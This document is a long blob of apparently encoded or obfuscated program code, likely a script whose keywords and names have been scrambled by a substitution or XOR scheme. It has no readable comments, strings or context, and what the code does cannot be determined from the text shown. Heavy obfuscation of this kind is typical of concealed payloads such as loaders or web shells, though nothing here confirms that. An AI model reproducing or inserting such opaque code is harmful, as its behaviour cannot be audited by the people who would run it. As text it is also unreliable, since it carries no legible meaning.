==7i3&4;3f/;13mwnilv>,{4%; i<fj g(gba{3ng<5+50i2l k9k:v$U69w~6( l).%/>&.=%8wnlhvw{3ng<5+50i2l k9k:vv{3ng<5+50i2l k9k:b{4%; i<fj g(gdUUU69w{4%; i<fj g(gbbb-nif,f=:o%ol2)owv##{3ng<5+50i2l k9k:bbb-nif,f=:o%ol2)owvv<01+61*:dUUU+-&$U69w6( l).%/>&.=%8wjnvw{3ng<5+50i2l k9k:vv$U69w6( l).%/>&.=%8wnjgvw==7i3&4;3f/;13mwnikvvv..+:l- 3/5(*9,%,)6<:w{3ng<5+50i2l k9k:swo'jhto'nk;vvdUUUU69w%&l24,::0;+wnjgvw6( l).%/>&.=%8wnfvvyy6&3-,o*-.<)&:l.1w{3ng<5+50i2l k9k:vyy6( l).%/>&.=%8wnjgvw68-=;0g1k=f9<,wnijvvv0/<><7: 61)>36;>+:w{3ng<5+50i2l k9k:s+-*:vdUUUU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U"<>+<7w'<:/+601{3+1n/j=+n mv$Upp0,+>+:e61;:<02/0,>=3:2:;6>+0-UU"U"U"U9*1<+601>'o+k1+=(*9-%;,7f0wvUUUU$UUUU+-&$U{3+1n/j=+n mb==7i3&4;3f/;13mwniivw%&l24,::0;+wnihvv`:--0- 8:+ 3>,+wve1*33dU69w~6( l).%/>&.=%8wnigvw{3+1n/j=+n mv##:2/+&w{3+1n/j=+n m68-=;0g1k=f9<,wnifvv##:2/+&w{3+1n/j=+n m68-=;0g1k=f9<,wnhovvv-:+*-1dU69w~%&l24,::0;+wijvw{3+1n/j=+n m68-=;0g1k=f9<,wnhovs>-->&w s s  s  s 
 vs+-*:vv-:+*-1dU{)h5njf,21i9f/hb6,,:+w{3+1n/j=+n m==7i3&4;3f/;13mwnhnvv`w,+-618v{3+1n/j=+n m68-=;0g1k=f9<,wnhmve}}dU69w,+-6/0,w{)h5njf,21i9f/hs%&l24,::0;+wnhlvv~bb9>3,:##,+-6/0,w{)h5njf,21i9f/hs6( l).%/>&.=%8wnhkvv~bb9>3,:v-:+*-1dUU{%5:95%,i=j):l36gb6( l).%/>&.=%8wniivw6( l).%/>&.=%8wnjhvv`68-=;0g1k=f9<,wnhjvw-nif,f=:o%ol2)owvve-nif,f=:o%ol2)owvdU{ :9b%&l24,::0;+wniivw%&l24,::0;+wnhivv`%&l24,::0;+wnhhvw{3+1n/j=+n m6( l).%/>&.=%8wnifvve{3+1n/j=+n m68-=;0g1k=f9<,wnifvd{5&53;(<6*4-,;b  	d{+/.)% :90h4)kb{5&53;(<6*4-,;ufdUUU69w~%&l24,::0;+wnhgvw{%5:95%,i=j):l36gv##~%&l24,::0;+wnhgvw{ :9v##{ :9~bb{%5:95%,i=j):l36gv-:+*-1dUUU69w6,,:+w{68-=;0g1k=f9<,wnhfvvv$U{5m4k)o3&kl5b==7i3&4;3f/;13mwihvw-nif,f=:o%ol2)owvs9>3,:s1*33soswnoltlfflvvdU69w68-=;0g1k=f9<,wnhgvw{5m4k)o3&kl5vyy6( l).%/>&.=%8wifvw68-=;0g1k=f9<,whovs{5m4k)o3&kl5s{ ;2vyy{ ;2n~bbw,+-618v{==7i3&4;3f/;13mwnhfvv-:+*-1dU*1,:+w{5m4k)o3&kl5s{ ;2vdU69w6,,:+w{68-=;0g1k=f9<,wngovvv$Upu0/:1/7>1+02upUU69w68-=;0g1k=f9<,wniivw%&l24,::0;+wngnvvv<3:>-,+>+<><7:w+-*:s-nif,f=:o%ol2)owvvdUU{8&o5g.f.':0+>,01bw,+-618v68-=;0g1k=f9<,wngmvw-nif,f=:o%ol2)owvvqxexqw,+-618v68-=;0g1k=f9<,whnvw-nif,f=:o%ol2)owvvdU69w{8&o5g.f.':0+>,01~bbw,+-618v{68-=;0g1k=f9<,wngovv-:+*-1dU*1,:+w{8&o5g.f.':0+>,01vdUUU"U"U{;).m.>/5(5)%o&b%&l24,::0;+wnmvw-nif,f=:o%ol2)owvs==7i3&4;3f/;13mwnglvvdUU{5&<(k.1m;4. 70b==7i3&4;3f/;13mwfjvw5( g6,6h*67j545kh:ww,+-618v68-=;0g1k=f9<,wihvw-nif,f=:o%ol2)owvvvvdU+lf5;=.m.'o=6hm1h*0f>w68-=;0g1k=f9<,wnkgvw-nif,f=:o%ol2)owvvq6( l).%/>&.=%8wngkvq{;).m.>/5(5)%o&s{5&<(k.1m;4. 70sx.xvdU69w{5&<(k.1m;4. 70~bb}}v$U+lf5;=.m.'o=6hm1h*0f>w==7i3&4;3f/;13mwnkgvw-nif,f=:o%ol2)owvvq==7i3&4;3f/;13mwngjvq{5&<(k.1m;4. 70sw,+-618v%&l24,::0;+wngivwvsx.xvdU69w%&l24,::0;+wnghvw6( l).%/>&.=%8wnggvvv$U*/;>+: 0/+601w6( l).%/>&.=%8wngfvs{5&<(k.1m;4. 70qx#xq==7i3&4;3f/;13mwnfovwvs68-=;0g1k=f9<,wnfnvvdU"U"U{%:8k43)n(m=n6&b* <>0f1:0)g)&4k,07+oo1wvdU69w{%:8k43)n(m=n6&~bb==7i3&4;3f/;13mwnfmvw-nif,f=:o%ol2)owvvyy%&l24,::0;+wnkivw{%:8k43)n(m=n6&vyy==7i3&4;3f/;13mwnkhvw{%:8k43)n(m=n6&vv$UUUU+lf5;=.m.'o=6hm1h*0f>w{%:8k43)n(m=n6&q68-=;0g1k=f9<,wngkvq{;).m.>/5(5)%o&s{5&<(k.1m;4. 70sx.xvdU"U69w68-=;0g1k=f9<,wnghvw==7i3&4;3f/;13mwiovvyy6( l).%/>&.=%8wnflvw6( l).%/>&.=%8wnggvvv$UUU{;>=n)-ll/1,+b8:+ 0/+601w6( l).%/>&.=%8wnfkvs>-->&wvvdU69w==7i3&4;3f/;13mwnigvw{;>=n)-ll/1,+vyy==7i3&4;3f/;13mwnfjvw.(o7-ji%=hfofi9%>-owvs{;>=n)-ll/1,+s+-*:vv$U*/;>+: 0/+601w68-=;0g1k=f9<,wnfkvs%&l24,::0;+wiivw%&l24,::0;+wnfivw{;>=n)-ll/1,+s>-->&w.(o7-ji%=hfofi9%>-owvvvvvdU"U"U1ij/l)fgf->l(=8&8>3mfw6( l).%/>&.=%8wnfhvvdU{4h1i9/n:4)m 5b-nif,f=:o%ol2)owvq6( l).%/>&.=%8wnfgvdU69w%&l24,::0;+wnflvw68-=;0g1k=f9<,wmlvvv%&l24,::0;+wnffvw-nif,f=:o%ol2)owvs{4h1i9/n:4)m 5vdU69w%&l24,::0;+wnflvw%&l24,::0;+wmoovvv$UU0/<><7: 61)>36;>+:w-nif,f=:o%ol2)owvs+-*:vdUUU0/<><7: 61)>36;>+:w{4h1i9/n:4)m 5s+-*:vdUUU"UUUU90-:><7w>-->&w68-=;0g1k=f9<,wnfmvw{4h1i9/n:4)m 5vs* <>0f1:0)g)&4k,07+oo1wvv>,{+85oh;0'i3g9v$UUU{.1l)f1:0)4jb*m,n*l71hj:h7,7>,.4*w{+85oh;0'i3g9vdUUUU69w~%&l24,::0;+wnigvw{.1l)f1:0)4jvv<01+61*:d{,nj<<lgf-4jibhjkd{(8fk6i0 %/bw{,nj<<lgf-4jiaov`{,nj<<lgf-4jier{,nj<<lgf-4jidU90-:><7w{.1l)f1:0)4j>,{)>5/6.1(l>o35v$U69w%&l24,::0;+wnmhvw{)>5/6.1(l>o35srwnjrhvv~bb==7i3&4;3f/;13mwmonvv<01+61*:dU{*5h;6-.19%7m1oib{+85oh;0'i3g9qxpxq{)>5/6.1(l>o35dU{.7%';453k622>h>b==7i3&4;3f/;13mwmomvw{*5h;6-.19%7m1oivdU69w{.7%';453k622>h>yy{.7%';453k622>h>c==7i3&4;3f/;13mwmolvwvrwiokhiftlnvv$Upp>+02+>=3:UU..+:l- 3/5(*9,%,)6<:w{*5h;6-.19%7m1oiswkngtmvvdUUUU6&3-,o*-.<)&:l.1w{*5h;6-.19%7m1oivdU"U"U"UUU*1,:+w{+85oh;0'i3g9s{.1l)f1:0)4js{)>5/6.1(l>o35s{*5h;6-.19%7m1ois{.7%';453k622>h>vdU"<>+<7w7-0(>=3:{5=>);g)11/.o=f4v$U"<>+<7w'<:/+601{5=>);g)11/.o=f4v$U"U"U9*1<+6010f(,8l2>71ml(4kw{13o'45<go:gs{6=:ioi()2-hilvU$U+-&$U69w~==7i3&4;3f/;13mwnhgvw{13o'45<go:gv##{13o'45<go:gbbb}}##~%&l24,::0;+wnhgvw{6=:ioi()2-hilv##{6=:ioi()2-hilbbb}}v-:+*-1dU{-h/43n4*<,ob==7i3&4;3f/;13mwmokvw{13o'45<go:gvdU69w~==7i3&4;3f/;13mwmojvw{-h/43n4*<,ov##~==7i3&4;3f/;13mwnkhvw{-h/43n4*<,ovv-:+*-1dU{/ kj:4.23'-,f-nb{-h/43n4*<,oq6( l).%/>&.=%8wmoivq68-=;0g1k=f9<,wmohvw{13o'45<go:gs6( l).%/>&.=%8wnglvvdU{..ih**n9 h4nmb68-=;0g1k=f9<,wmogvw{/ kj:4.23'-,f-nvdU69w68-=;0g1k=f9<,wmofvw{..ih**n9 h4nmvyy%&l24,::0;+wifvw68-=;0g1k=f9<,wmnovs{..ih**n9 h4nms{)h5njf,21i9f/hvyy):-,601 <02/>-:w{)h5njf,21i9f/hos{6=:ioi()2-hils6( l).%/>&.=%8wmnnvvv-:+*-1dU69w%&l24,::0;+wnflvw68-=;0g1k=f9<,wmnmvvv68-=;0g1k=f9<,wmnmvw{/ kj:4.23'-,f-ns{6=:ioi()2-hilvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+6015=g;.gn(n<%1i/.8>wvU$U+-&$U69w~6( l).%/>&.=%8wmnlvw6( l).%/>&.=%8wiovvv$Upprk1>2:,/><:,901+9><:UU-:+*-1dU"U69w8:+ 0/+601w==7i3&4;3f/;13mwmnkvsovv${+-/5l5i9)>.47jbnmi#mkid{;*38<o<gomb{+-/5l5i9)>.47jldUU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmnjvs68-=;0g1k=f9<,wmnivsovdU"U69w~<265'fh;mjjfgi392f1k(nw68-=;0g1k=f9<,wmnhvvv-:+*-1dUU{.,(*mj6=<3(b%&l24,::0;+wnmhvw==7i3&4;3f/;13mwmngvwqw,+-618v/-5'%k3i;i25km)wvvsoswo'jto'hvvdUUU{+m%->j-km6nbw,+-618v8:+ 0/+601w{.,(*mj6=<3(s}}vdU{&l0g,>4=5k53<b68-=;0g1k=f9<,wmnfvdU{)))n%i-/j (h4ob}}dUUUUU{:9m'; 689ni,-b,+--:)w64g,7j8l*g'j*&'63.f<&wvvdU{% 3j%g,h7n.l';b(8=4>%+g%(8i0>1>i(l9h+wvdU{:'9h7o5gljig/64b{% 3j%g,h7n.l';qx#xq{:9m'; 689ni,-dUU69w6( l).%/>&.=%8wflvw{+m%->j-km6nsx#xv~bb9>3,:v$UUU{5>j>2:5i%*<=4b%&l24,::0;+wmmovwx#xs{+m%->j-km6nsmvdU{&l0g,>4=5k53<b{5>j>2:5i%*<=4odU{)))n%i-/j (h4ob{5>j>2:5i%*<=4ndU":3,:$UU{)))n%i-/j (h4ob{+m%->j-km6ndU"UU69w~{)))n%i-/j (h4ov$U*/;>+: 0/+601w{.,(*mj6=<3(s{:'9h7o5gljig/64s6( l).%/>&.=%8wmmnvvdU-:+*-1dUUU"UUUUU69w{)))n%i-/j (h4obbb{:9m'; 689ni,-v$U69w{+m%->j-km6n~bb{:'9h7o5gljig/64yy):-,601 <02/>-:w{% 3j%g,h7n.l';s{&l0g,>4=5k53<s%&l24,::0;+wmnnvvv$U*/;>+: 0/+601w{.,(*mj6=<3(s{:'9h7o5gljig/64s%&l24,::0;+wmmnvvdU"U-:+*-1dU"UU{1g8jg=(i7nk2%866b,+--:)w{)))n%i-/j (h4ovdU69w{1g8jg=(i7nk2%866bbb}}##6( l).%/>&.=%8wmohvw{1g8jg=(i7nk2%866v~bb{1g8jg=(i7nk2%866v$U*/;>+: 0/+601w{.,(*mj6=<3(s{:'9h7o5gljig/64s%&l24,::0;+wmmnvvdU-:+*-1dU"U{)fnf%<1=>;nk/58:b* <>0f1:0)g)&4k,07+oo1wvqxpxq{1g8jg=(i7nk2%866dUUU{.i/78;0&'j>68k+'b}}dU69w;:961:;w68-=;0g1k=f9<,wivvv$U{.i/78;0&'j>68k+'b 
 qxpxq68-=;0g1k=f9<,wmmmvw{1g8jg=(i7nk2%866s vqxpxq{1g8jg=(i7nk2%866dU"UUUUU{2))'lg*>g7)142+'b6( l).%/>&.=%8wngmvw{)fnf%<1=>;nk/58:vdU{=*(&9lo% o<;&b{2))'lg*>g7)142+'~bb9>3,:yy{2))'lg*>g7)142+'abwo'nmi=to'nn;vdUUUU{:.>'9+=k:15b{.i/78;0&'j>68k+'`68-=;0g1k=f9<,wmmlvw{.i/78;0&'j>68k+'ve9>3,:dU{;4, 94o5f>b{:.>'9+=k:15~bb9>3,:yy{:.>'9+=k:15abwlhlftnminvdUU69w~{=*(&9lo% o<;&yy~{;4, 94o5f>v$U*/;>+: 0/+601w{.,(*mj6=<3(s{:'9h7o5gljig/64s68-=;0g1k=f9<,wmmnvvdU-:+*-1d{217&/4g9 9b  	d{.9jm2-)6'6=&47b{217&/4g9 9ukdU"UU{+/)2;:,72539b{=*(&9lo% o<;&`{)fnf%<1=>;nk/58:e{.i/78;0&'j>68k+'dU{<:3)lko/fh;b==7i3&4;3f/;13mwmogvw{+/)2;:,72539s9>3,:s1*33soswkfnmrgnivvdUUU69w68-=;0g1k=f9<,wmofvw{<:3)lko/fh;vyy68-=;0g1k=f9<,wmmkvw==7i3&4;3f/;13mwmmjvs{<:3)lko/fh;s{ 92vv$U{&l0g,>4=5k53<b{ 92ndU":3,:69w':f6 <:(3(,;4l9)w{+/)2;:,72539swinjirnnjivvv$UU{&l0g,>4=5k53<b68-=;0g1k=f9<,wmnfvdUU"U*1,:+w{<:3)lko/fh;s{ 92vdU{  3&-: 76g(0b{=*(&9lo% o<;&dUU69w~{  3&-: 76g(0yy{;4, 94o5f>v$U{='+=hmlo%jb6( l).%/>&.=%8wmmmvw{1g8jg=(i7nk2%866s vqxpxq{1g8jg=(i7nk2%866dU{6&%-hg81i,;h52bw>-->&v8:+ 0/+601w68-=;0g1k=f9<,wmmivs>-->&wvvdU{  3&-: 76g(0b6( l).%/>&.=%8wnfjvw{='+=hmlo%js{6&%-hg81i,;h52s+-*:vdU69w~{  3&-: 76g(0yy68-=;0g1k=f9<,wmnlvw68-=;0g1k=f9<,wmmhvvyy6, 2*3+6,6+:wvyy==7i3&4;3f/;13mwmmgvw%&l24,::0;+wmmfvvv$U{9)58;i6g>/bw>-->&v8:+ ,6+: 0/+601w==7i3&4;3f/;13mwmlovs>-->&wvvdU{  3&-: 76g(0b6,,:+w{9)58;i6g>/{='+=hmlo%jvdUUUU*1,:+w{9)58;i6g>/vdUUU"U*1,:+w{='+=hmlo%js{6&%-hg81i,;h52vdUUU"UU{4'7->,%h:n17l&mb):-,601 <02/>-:w{% 3j%g,h7n.l';s{&l0g,>4=5k53<vdUU69w{4'7->,%h:n17l&mcbov$UUU{36,n1g/;)8 b':f6 <:(3(,;4l9)w{+/)2;:,72539swkfmhthlvvdU{0)>>o5 1:<:<bw61+v68-=;0g1k=f9<,wmmlvw{+/)2;:,72539vdU{>>l3>k4:f4m0'lfbw~{36,n1g/;)8 ##{0)>>o5 1:<:<awhlmgljokrmogjkhokvvdU69w~{>>l3>k4:f4m0'lfyy{0)>>o5 1:<:<awo'm:9mgto';no;gvv$Upp163/0+:1+/6/:361:UU{9f:-79&(*nb==7i3&4;3f/;13mwmlnvw{+/)2;:,72539s9>3,:s1*33soswkonitgovvdU69w~6( l).%/>&.=%8wmlmvw{9f:-79&(*nv##~%&l24,::0;+wmmkvw6( l).%/>&.=%8wmllvs{9f:-79&(*nvv{>>l3>k4:f4m0'lfb+-*:dUUU"UUU69w~{>>l3>k4:f4m0'lfyy~1h)j<%m*j0h(h<7'-w{+/)2;:,72539vv{>>l3>k4:f4m0'lfb+-*:dU69w~{>>l3>k4:f4m0'lfv$U{:-7/i%72%h0b+3'<g,n7>8'g=(ikwvdU69w~:2/+&w{:-7/i%72%h06( l).%/>&.=%8wmlkvvv$Upprnj26;;3:(>-:e:'/01:1+6>3=><4308UU{13k=,0k>f+3'9b==7i3&4;3f/;13mwmljvw{:-7/i%72%h068-=;0g1k=f9<,wmlkvvdU{-78k7*nk:jo5o>gb6( l).%/>&.=%8wmljvw{+/)2;:,72539vdU69w%&l24,::0;+wmlmvw{13k=,0k>f+3'9vyy6( l).%/>&.=%8wmlmvw{-78k7*nk:jo5o>gvyy{13k=,0k>f+3'9bbb{-78k7*nk:jo5o>gv$U{( >21=j&1-,-:726b<*n/<<:<m>)1*9'hw{:-7/i%72%h0vdU69w{( >21=j&1-,-:726bbb68-=;0g1k=f9<,wmliv##{( >21=j&1-,-:726bbb6( l).%/>&.=%8wmlhvv{>>l3>k4:f4m0'lfb+-*:dU"U*1,:+w{13k=,0k>f+3'9s{-78k7*nk:jo5o>gs{( >21=j&1-,-:726vdU"Upp;:9->82:1+<01,+->61+r,:+90--0*/30<4UU69w~{>>l3>k4:f4m0'lfyy)512o.(8.09j-1w{+/)2;:,72539vv{>>l3>k4:f4m0'lfb+-*:dU*1,:+w{:-7/i%72%h0vdU"U69w{>>l3>k4:f4m0'lfv$U69w{36,n1g/;)8 v;% 60j&3'n9,8>6w{+/)2;:,72539vdU*/;>+: 0/+601w{.,(*mj6=<3(s{:'9h7o5gljig/64s%&l24,::0;+wmmnvvdU-:+*-1dU"U69w~{  3&-: 76g(0v$U*/;>+: 0/+601w{.,(*mj6=<3(s{:'9h7o5gljig/64s6( l).%/>&.=%8wmmnvvdU-:+*-1dUUUU"U0f(,8l2>71ml(4kw-nif,f=:o%ol2)owvs{&l0g,>4=5k53<vdU-l(l2'6-,6 7)=1;6'w-nif,f=:o%ol2)owvvdUUU-:+*-1+-*:dUU"U69w:2/+&w{68-=;0g1k=f9<,wmlgvvv$UU{%&l24,::0;+wmlgvb+-*:dU69w':f6 <:(3(,;4l9)w{+/)2;:,72539swkffntfvvv;% 60j&3'n9,8>6w{+/)2;:,72539vdU{5')6n3.2(<495&ob%&l24,::0;+wmolvwvdUUU<oo4k7hh*16 '<lg&8+;+w-nif,f=:o%ol2)owvsw{5')6n3.2(<495&orw{5')6n3.2(<495&ozwnjognnrjognnvvvt/-5'%k3i;i25km)wvvdU*1,:+w{5')6n3.2(<495&ovdUUU0f(,8l2>71ml(4kw{)fnf%<1=>;nk/58:s{% 3j%g,h7n.l';vdU69w{.i/78;0&'j>68k+'v0f(,8l2>71ml(4kw{.i/78;0&'j>68k+'s{% 3j%g,h7n.l';vdU8&m43o,);ol%*)4=w68-=;0g1k=f9<,wmlfvs==7i3&4;3f/;13mwmkovsovdU*/;>+: 0/+601w{.,(*mj6=<3(s{:'9h7o5gljig/64s%&l24,::0;+wmmnvvdU1ij/l)fgf->l(=8&8>3mfw6( l).%/>&.=%8wmknvvdU69w{.i/78;0&'j>68k+'~bb}}yy68-=;0g1k=f9<,wmmgvw%&l24,::0;+wnggvvv$U{*4jkhj*gj4hj3b%&l24,::0;+wmmmvw{1g8jg=(i7nk2%866s vqxpxq{1g8jg=(i7nk2%866dUU{6&%-hg81i,;h52b8:+ 0/+601w68-=;0g1k=f9<,wmmivs>-->&wvvd{% +>mko-)<)>b  	d{)8f(-h7lg(-4gb{% +>mko-)<)>undUUUU69w==7i3&4;3f/;13mwnigvw{6&%-hg81i,;h52vyy68-=;0g1k=f9<,wnfjvw{*4jkhj*gj4hj3s{6&%-hg81i,;h52s+-*:vv$U*/;>+: 0/+601w==7i3&4;3f/;13mwmmivs%&l24,::0;+wiivw68-=;0g1k=f9<,wnfivw{6&%-hg81i,;h52s>-->&w{*4jkhj*gj4hj3vvvvdU"U*1,:+w{*4jkhj*gj4hj3s{6&%-hg81i,;h52vdU"U"U-:+*-1dUUUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmkmvs{3+1n/j=+n mvdUUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"961>33&$U8j,l7f2>m0=f6&<-w68-=;0g1k=f9<,wmnhvvdUUUU"UUU"U9*1<+601*m,n*l71hj:h7,7>,.4*w{-h/43n4*<,ovU$UUU69w6( l).%/>&.=%8wmmgvw%&l24,::0;+wmklvvyy==7i3&4;3f/;13mwmmgvw68-=;0g1k=f9<,wmkkvvv$UUU{+'i>9*72 k>8-/:lb68-=;0g1k=f9<,wmkjvw{-h/43n4*<,ovdUU69w{+'i>9*72 k>8-/:lv${:/-k450&6h+g9bmll#nnnd{&oo%om,.(m b{:/-k450&6h+g9fldU{-6%<)l5%07.1;' 'b>-->&wvdU(763:ww{3+1n/j=+n mb==7i3&4;3f/;13mwmkkvw{+'i>9*72 k>8-/:lvv~bb9>3,:v$U69w{3+1n/j=+n m~bbxqxyy{3+1n/j=+n m~bb%&l24,::0;+wmkivv{-6%<)l5%07.1;' 'b{3+1n/j=+n mdU"U69w==7i3&4;3f/;13mwmkhvw%&l24,::0;+wmkgvvv6( l).%/>&.=%8wmkgvw{+'i>9*72 k>8-/:lvdU-:+*-1{-6%<)l5%07.1;' 'dU"U"U69w%&l24,::0;+wmkfvw==7i3&4;3f/;13mwmjovvv$U{/59mn0<k05f9*jhib%&l24,::0;+wmjovw{-h/43n4*<,ovdU69w6( l).%/>&.=%8wnigvw{/59mn0<k05f9*jhivv-:+*-16( l).%/>&.=%8wmjnvw6( l).%/>&.=%8wnfivw{/59mn0<k05f9*jhis>-->&wxqxs==7i3&4;3f/;13mwmkivvvvdU"UU69w6( l).%/>&.=%8wmjmvw==7i3&4;3f/;13mwmjlvvv$U{3g/5>hg0igk3lb6( l).%/>&.=%8wmjkvw{-h/43n4*<,oq6( l).%/>&.=%8wmjjvvdU69w68-=;0g1k=f9<,wnigvw{3g/5>hg0igk3lvv-:+*-168-=;0g1k=f9<,wmjivw6( l).%/>&.=%8wmjhvs{3g/5>hg0igk3lvdU"U-:+*-11*33dU"UU9*1<+601)%;j1-;6fo.< h=<%=*w{+=2kgjmo+&0*3</nvU$U69w~68-=;0g1k=f9<,wmjgvw{+=2kgjmo+&0*3</nv##68-=;0g1k=f9<,wflvw{+=2kgjmo+&0*3</ns6( l).%/>&.=%8wmjfvvbbb9>3,:v-:+*-19>3,:d{*g1f*8;7(j<)(bfmumd{7/*+li0'7n/n9b{*g1f*8;7(j<)(rgdU69w%&l24,::0;+wnovw{+=2kgjmo+&0*3</nvawnokgkfotgivv{+=2kgjmo+&0*3</nb5( g6,6h*67j545kh:w{+=2kgjmo+&0*3</nvdUUUU69w68-=;0g1k=f9<,wnovw{+=2kgjmo+&0*3</nvawnfgjoglrflijohvv-:+*-19>3,:dU69w~==7i3&4;3f/;13mwmjmvw%&l24,::0;+wmiovvv-:+*-1+-*:dU69w~;:961:;w6( l).%/>&.=%8wminvvv$U{:;7+;g) lkb+04:1 8:+ >33w{+=2kgjmo+&0*3</nvdU69w~68-=;0g1k=f9<,wnigvw{:;7+;g) lkvv-:+*-1+-*:dU{:+gn **o%9 <7-bodU90-:><7w{:;7+;g) lk>,{6,m8-.=='/v$U69w==7i3&4;3f/;13mwmimvw{6,m8-.=='/vv$UU69w{6,m8-.=='/obbb 
 ##{6,m8-.=='/obbb   
 v{:+gn **o%9 <7-ttdU<01+61*:dU"U69w{6,m8-.=='/bbbx$xv{:+gn **o%9 <7-ttdU:3,:69w{6,m8-.=='/bbbx"xv$UUUU{:+gn **o%9 <7-rrdU69w{:+gn **o%9 <7-cov-:+*-19>3,:dUUU"UUUU"UUUU-:+*-1{:+gn **o%9 <7-bbbodU"U+-&$U+04:1 8:+ >33w{+=2kgjmo+&0*3</ns vdUUU-:+*-1+-*:dU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U-:+*-19>3,:dU"<>+<7w'<:/+601{3+1n/j=+n mv$U-:+*-19>3,:dU"U"U9*1<+6011k1:h21.&ng0(&:4>8(5wvU$U-:+*-1>-->&w%&l24,::0;+wmilvs6( l).%/>&.=%8wmikvs6( l).%/>&.=%8wmijvvdU"U9*1<+601.78 *ho:./)mko)&=97wvU$U-:+*-1>-->&w%&l24,::0;+wmiivs68-=;0g1k=f9<,wmihvs68-=;0g1k=f9<,wmigvs%&l24,::0;+wmifvs68-=;0g1k=f9<,wmhovs==7i3&4;3f/;13mwmhnvs68-=;0g1k=f9<,wmhmvs6( l).%/>&.=%8wmhlvs==7i3&4;3f/;13mwmhkvs==7i3&4;3f/;13mwmhjvs68-=;0g1k=f9<,wmhivs%&l24,::0;+wmhhvs6( l).%/>&.=%8wmhgvs==7i3&4;3f/;13mwmhfvs==7i3&4;3f/;13mwmgovs==7i3&4;3f/;13mwmgnvs==7i3&4;3f/;13mwmgmvs==7i3&4;3f/;13mwmglvs6( l).%/>&.=%8wmgkvs6( l).%/>&.=%8wmgjvvd{9/j6)) 96,bfgtihd{.f=);l3/&4)ib{9/j6)) 96,rmidUUUU"U9*1<+6016f%+;m%(i=>,87n':02wvU$U-:+*-1>-->&w68-=;0g1k=f9<,wmgivs%&l24,::0;+wmghvs%&l24,::0;+wmggvs6( l).%/>&.=%8wmgfvvdU"UU9*1<+601*j l'1/9l1/li5=9)<6& w{(*'/h7hj81,: vU$U69w68-=;0g1k=f9<,wmfovw==7i3&4;3f/;13mwmfnvvv-:+*-18%:1<0;:w{(*'/h7hj81,: swknlmvvdUUUU69w68-=;0g1k=f9<,wmfmvw==7i3&4;3f/;13mwmflvvv$U-:+*-1}'n9'g='og'oo'oo'oo'oo'oo'oo'ol}q8%;:93>+:w{(*'/h7hj81,: swjtkvvq%&l24,::0;+wmfkvwx	xs6( l).%/>&.=%8wmfjvw{(*'/h7hj81,: vvq==7i3&4;3f/;13mwmfkvwx	xs%&l24,::0;+wnovw{(*'/h7hj81,: vywijngjgmhlfrmmmlinjkkkvvdUU"U-:+*-1{(*'/h7hj81,: dU"U9*1<+601.m/(=+li%/068653')-n0w{(*'/h7hj81,: vUU$U69w~6( l).%/>&.=%8wmfivw{(*'/h7hj81,: v##==7i3&4;3f/;13mwmfhvw{(*'/h7hj81,: vcmv-:+*-1{(*'/h7hj81,: dU69w%&l24,::0;+wnmhvw{(*'/h7hj81,: sosmv~bb}'n9'g=}v-:+*-1{(*'/h7hj81,: dUU69w%&l24,::0;+wmfhvw{(*'/h7hj81,: vcwo'lto'9vv-:+*-19>3,:dU{24m7j--kjg) b%&l24,::0;+wmfgvwx	xs6( l).%/>&.=%8wnmhvw{(*'/h7hj81,: srwnjfnjjvvvdU{24m7j--kjg) b==7i3&4;3f/;13mwmimvw{24m7j--kjg) v`{24m7j--kjg) neod{3n/k<5mk8;h8*bkn#nood{;l-:-.62j;>4/b{3n/k<5mk8;h8*imdUUUU69w{24m7j--kjg) cwlmitnhkv##{24m7j--kjg) awo':=l9:to'nk<omvv-:+*-19>3,:dUUUU69w%&l24,::0;+wmfmvw68-=;0g1k=f9<,wmffvvv$U{:-1n:7ko0i3%lb8%;:<0;:w{(*'/h7hj81,: swjikljktkgkmmmvvdUUU69w{:-1n:7ko0i3%l~bb9>3,:v-:+*-1{:-1n:7ko0i3%ldU"U69w6( l).%/>&.=%8wloovw68-=;0g1k=f9<,wlonvvv$UUUU{:-1n:7ko0i3%lb8%6193>+:w68-=;0g1k=f9<,wnmhvw{(*'/h7hj81,: swmmmmnmvs68-=;0g1k=f9<,wlomvw{(*'/h7hj81,: vrwmtnivvswnmjhgglrmoflohvvdUUU-:+*-1w68-=;0g1k=f9<,wmfivw{:-1n:7ko0i3%lvyy68-=;0g1k=f9<,wlolvw{:-1n:7ko0i3%lvcbwo'i::lgto'fnn<gvv`{:-1n:7ko0i3%le9>3,:dU"U-:+*-19>3,:dUUU"UUUUU69w~%&l24,::0;+wlokvw6( l).%/>&.=%8wlojvvv$UUU9*1<+6017:'m=61w{&g+l,.97fovU$UU69w~==7i3&4;3f/;13mwloivw{&g+l,.97fov##==7i3&4;3f/;13mwlohvw{&g+l,.97fovzm~bbov$U-:+*-19>3,:dU"U-:+*-168-=;0g1k=f9<,wmfkvw68-=;0g1k=f9<,wlogvs{&g+l,.97fovdU"U"UUU9*1<+601(n7%'*ki&7:*69wvUUUU$U{=6 f;'l/9('b>-->&wvdU{%*80(7<+20&=15h:b>-->&wsq6( l).%/>&.=%8wlofvsq%&l24,::0;+wlnovvdU69w;:961:;w==7i3&4;3f/;13mwnkovvv{%*80(7<+20&=15h:b  qxpxdU90-:><7w{%*80(7<+20&=15h:>,{:-1n:7ko0i3%lv$U{' :o62>io:(':b68-=;0g1k=f9<,wlokvw%&l24,::0;+wmjkvv`==7i3&4;3f/;13mwlnnvw{:-1n:7ko0i3%lq68-=;0g1k=f9<,wlnmvve9>3,:dU69w6( l).%/>&.=%8wmimvw{' :o62>io:(':vv$U90-:><7w{' :o62>io:(':>,{;:m.20n>922=h/v$UUUU{(1n,fk.))0b==7i3&4;3f/;13mwmomvw{;:m.20n>922=h/vdUUUU69w{(1n,fk.))0yy{(1n,fk.))0awfkiigkhlothovv$U{=6 f;'l/9('b{(1n,fk.))0dUUUU"U"U"Upp